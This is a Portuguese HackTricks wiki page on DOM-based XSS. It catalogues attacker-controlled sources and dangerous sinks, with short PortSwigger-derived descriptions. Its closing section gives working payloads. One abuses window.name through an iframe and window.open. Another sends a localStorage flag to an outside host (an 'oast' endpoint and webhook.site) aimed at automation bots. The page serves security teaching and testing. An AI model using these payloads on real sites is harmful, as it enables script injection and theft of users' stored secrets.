DOM XSS

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Vulnerabilidades DOM

Vulnerabilidades DOM ocorrem quando dados provenientes de sources controladas pelo atacante (como location.search, document.referrer, ou document.cookie) são transferidos de forma insegura para sinks. Sinks são funções ou objetos (por exemplo, eval(), document.body.innerHTML) que podem executar ou renderizar conteúdo prejudicial se receberem dados maliciosos.

  • Sources são entradas que podem ser manipuladas por atacantes, incluindo URLs, cookies e web messages.
  • Sinks são potencialmente perigosos endpoints onde dados maliciosos podem levar a efeitos adversos, como execução de scripts.

O risco surge quando dados fluem de uma source para uma sink sem validação ou sanitização adequada, possibilitando ataques como XSS.

Tip

Você pode encontrar uma lista mais atualizada de sources e sinks em https://github.com/wisec/domxsswiki/wiki

Common sources:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Common Sinks:

Open RedirectJavascript InjectionDOM-data manipulationjQuery
locationeval()scriptElement.srcadd()
location.hostFunction() constructorscriptElement.textafter()
location.hostnamesetTimeout()scriptElement.textContentappend()
location.hrefsetInterval()scriptElement.innerTextanimate()
location.pathnamesetImmediate()someDOMElement.setAttribute()insertAfter()
location.searchexecCommand()someDOMElement.searchinsertBefore()
location.protocolexecScript()someDOMElement.textbefore()
location.assign()msSetImmediate()someDOMElement.textContenthtml()
location.replace()range.createContextualFragment()someDOMElement.innerTextprepend()
open()crypto.generateCRMFRequest()someDOMElement.outerTextreplaceAll()
domElem.srcdoc``Local file-path manipulationsomeDOMElement.valuereplaceWith()
XMLHttpRequest.open()FileReader.readAsArrayBuffer()someDOMElement.namewrap()
XMLHttpRequest.send()FileReader.readAsBinaryString()someDOMElement.targetwrapInner()
jQuery.ajax()FileReader.readAsDataURL()someDOMElement.methodwrapAll()
$.ajax()FileReader.readAsText()someDOMElement.typehas()
``Ajax request manipulationFileReader.readAsFile()someDOMElement.backgroundImageconstructor()
XMLHttpRequest.setRequestHeader()FileReader.root.getFile()someDOMElement.cssTextinit()
XMLHttpRequest.open()FileReader.root.getFile()someDOMElement.codebaseindex()
XMLHttpRequest.send()Link manipulationsomeDOMElement.innerHTMLjQuery.parseHTML()
jQuery.globalEval()someDOMElement.hrefsomeDOMElement.outerHTML$.parseHTML()
$.globalEval()someDOMElement.srcsomeDOMElement.insertAdjacentHTMLClient-side JSON injection
``HTML5-storage manipulationsomeDOMElement.actionsomeDOMElement.oneventJSON.parse()
sessionStorage.setItem()XPath injectiondocument.write()jQuery.parseJSON()
localStorage.setItem()document.evaluate()document.writeln()$.parseJSON()
**[**`Denial of Service`**](dom-xss.md#denial-of-service)**someDOMElement.evaluate()document.title``Cookie manipulation
requestFileSystem()``Document-domain manipulationdocument.implementation.createHTMLDocument()document.cookie
RegExp()document.domainhistory.pushState()WebSocket-URL poisoning
Client-Side SQl injectionWeb-message manipulationhistory.replaceState()WebSocket
executeSql()postMessage()````

O sink innerHTML não aceita elementos script em nenhum navegador moderno, nem eventos svg onload serão disparados. Isso significa que você precisará usar elementos alternativos como img ou iframe.

Esse tipo de XSS é provavelmente o mais difícil de encontrar, pois você precisa olhar dentro do código JS, verificar se ele está usando algum objeto cujo valor você controla e, nesse caso, ver se existe alguma forma de abusar dele para executar JS arbitrário.

Ferramentas para encontrá-los

Exemplos

Open Redirect

Fonte: https://portswigger.net/web-security/dom-based/open-redirection

Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.

É crucial entender que a execução de código arbitrário, como javascript:alert(1), é possível se você tiver controle sobre o início da URL onde a redireção ocorre.

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

From: https://portswigger.net/web-security/dom-based/cookie-manipulation

Vulnerabilidades de DOM-based cookie-manipulation ocorrem quando um script incorpora dados, que podem ser controlados por um atacante, no valor de um cookie. Essa vulnerabilidade pode causar comportamento inesperado na página web se o cookie for utilizado dentro do site. Além disso, pode ser explorada para realizar um ataque de session fixation se o cookie for usado para rastrear sessões de usuário. O sink principal associado a essa vulnerabilidade é:

Sinks:

document.cookie

JavaScript Injection

From: https://portswigger.net/web-security/dom-based/javascript-injection

DOM-based JavaScript injection vulnerabilities são criadas quando um script executa dados, que podem ser controlados por um atacante, como código JavaScript.

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

Origem: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities ocorrem quando um script define a propriedade document.domain usando dados que um atacante pode controlar.

A propriedade document.domain desempenha um papel chave na aplicação da same-origin policy pelos navegadores. Quando duas páginas de origens diferentes definem seu document.domain para o mesmo valor, elas podem interagir sem restrições. Embora os navegadores imponham certos limites nos valores atribuíveis a document.domain, impedindo a atribuição de valores completamente não relacionados à origem real da página, existem exceções. Normalmente, os navegadores permitem o uso de domínios filhos ou domínios pais.

Sinks:

document.domain

WebSocket-URL poisoning

From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning ocorre quando um script utiliza dados controláveis como a URL de destino para uma conexão WebSocket.

Sinks:

The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.

From: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities ocorrem quando um script escreve dados controláveis pelo atacante em um destino de navegação dentro da página atual, como um link clicável ou a URL de submissão de um formulário.

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

Fonte: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities ocorrem quando um script escreve dados controláveis pelo atacante em uma Ajax request que é enviada usando um objeto XmlHttpRequest.

Sinks:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

Fonte: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities ocorrem quando um script passa dados controlados pelo atacante para uma API de manipulação de arquivos como o parâmetro filename. Essa vulnerabilidade pode ser explorada por um atacante para construir uma URL que, se visitada por outro usuário, poderia fazer com que o navegador do usuário abra ou grave um arquivo local arbitrário.

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

From: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities ocorrem quando um script incorpora dados controlados pelo atacante em uma consulta SQL do lado do cliente de forma insegura.

Sinks:

executeSql()

HTML5-storage manipulation

Fonte: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities ocorrem quando um script armazena dados controláveis pelo atacante no HTML5 storage do navegador (localStorage ou sessionStorage). Embora essa ação não seja intrinsecamente uma vulnerabilidade de segurança, ela se torna problemática se a aplicação posteriormente lê os dados armazenados e os processa de forma insegura. Isso poderia permitir que um atacante explorasse o mecanismo de armazenamento para conduzir outros DOM-based attacks, como cross-site scripting e JavaScript injection.

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

Fonte: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities ocorrem quando um script incorpora dados controlados pelo atacante em uma consulta XPath.

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

Fonte: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities ocorrem quando um script incorpora dados controlados pelo atacante em uma string que é analisada como uma estrutura de dados JSON e então processada pela aplicação.

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

From: https://portswigger.net/web-security/dom-based/web-message-manipulation

Web-message vulnerabilities surgem quando um script envia attacker-controllable data as a web message to another document dentro do navegador. Um exemplo de Web-message manipulation vulnerável pode ser encontrado em PortSwigger’s Web Security Academy.

Sinks:

O método postMessage() para enviar web messages pode levar a vulnerabilidades se o event listener para receber mensagens tratar os dados recebidos de forma insegura.

DOM-data manipulation

From: https://portswigger.net/web-security/dom-based/dom-data-manipulation

DOM-data manipulation vulnerabilities surgem quando um script escreve attacker-controllable data to a field within the DOM que é utilizada na UI visível ou na lógica do lado do cliente. Essa vulnerabilidade pode ser explorada por um attacker para construir uma URL que, se visitada por outro usuário, pode alterar a aparência ou o comportamento da UI do lado do cliente.

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

From: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities ocorrem quando um script passa attacker-controllable data unsafely to a problematic platform API. Isso inclui APIs que, quando invocadas, podem levar o computador do usuário a consumir excessive amounts of CPU or disk space. Tais vulnerabilidades podem ter efeitos colaterais significativos, como o navegador restringir a funcionalidade do site ao rejeitar tentativas de armazenar dados em localStorage ou encerrar scripts que estejam consumindo muitos recursos.

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Dom Clobbering

Globais implícitas & abuso de window.name

Referenciar name sem uma declaração (var/let/const) resolve para window.name. Como window.name persiste através de navegações cross-origin, um atacante pode pré-preencher o nome do contexto de navegação com HTML/JS e, mais tarde, fazer com que o código da vítima o renderize como dados confiáveis:

  • Abrir/navegar para o alvo em um contexto nomeado que você controla:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
  • Ou reutilizar window.open com um nome de target criado:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")

Se a aplicação depois fizer element.innerHTML = name (ou outro sink semelhante) sem sanitização, a string window.name controlada pelo atacante é executada na origem de destino, permitindo DOM XSS e acesso ao armazenamento same-origin.

Fluxos admin/automação: armazenamento pré-populado & javascript: navegação

Bots de automação (por exemplo, Playwright) frequentemente visitam primeiro uma página interna, definem segredos em localStorage/cookies e então navegam para URLs fornecidas pelo usuário. Qualquer primitiva DOM XSS (incluindo abuso de window.name) nesse fluxo pode exfiltrar o segredo pré-populado:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

Se o bot não restringir esquemas de URL, fornecer uma URL javascript: (javascript:fetch(...)) faz com que o código seja executado na origem atual sem nova navegação, directly leaking storage values.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks